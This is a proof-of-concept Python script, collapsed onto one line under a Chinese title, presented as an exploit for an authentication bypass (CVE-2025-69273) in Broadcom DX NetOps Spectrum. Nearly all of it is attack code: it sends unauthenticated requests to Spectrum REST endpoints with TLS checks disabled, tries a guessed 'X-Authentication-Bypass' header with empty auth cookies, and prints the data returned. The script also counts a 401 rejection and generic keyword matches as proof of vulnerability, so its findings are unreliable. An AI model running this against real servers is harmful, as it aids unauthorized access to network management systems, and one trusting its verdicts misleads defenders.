CVE-2025-69273 Broadcom DX NetOps Spectrum 认证绕过漏洞

# CVE-2025-69273 PoC - Broadcom DX NetOps Spectrum Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-69273 """ print(f"[*] Testing target: {target_url}") # Target-specific endpoints that may be vulnerable endpoints = [ "/spectrum/restful/device", "/spectrum/restful/model", "/spectrum/servlet/health", "/spectrum/servlet/topology" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json, text/html", "X-Requested-With": "XMLHttpRequest" } vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for successful response without authentication if response.status_code == 200 or response.status_code == 401: # Check if response contains sensitive data if any(keyword in response.text.lower() for keyword in ['device', 'model', 'spectrum', 'landscape']): print(f"[+] Potential vulnerability found at {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") vulnerable = True break except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable def exploit_authentication_bypass(target_url): """ Attempt to exploit the authentication bypass """ print("\n[*] Attempting authentication bypass exploitation...") # Crafted request to bypass authentication exploit_url = target_url.rstrip('/') + "/spectrum/restful/device" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json", "X-Authentication-Bypass": "true", # Potential bypass header "Cookie": "JSESSIONID=;SPECTRUM_AUTH=" # Empty authentication cookies } try: response = requests.get(exploit_url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print("[+] Exploitation successful - unauthorized access granted") print(f"[+] Response preview: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-69273_poc.py <target_url>") print("Example: python cve-2025-69273_poc.py http://target:8080") sys.exit(1) target = sys.argv[1] if check_vulnerability(target): print("\n[!] Target appears to be vulnerable to CVE-2025-69273") exploit_authentication_bypass(target) else: print("\n[-] Target does not appear to be vulnerable")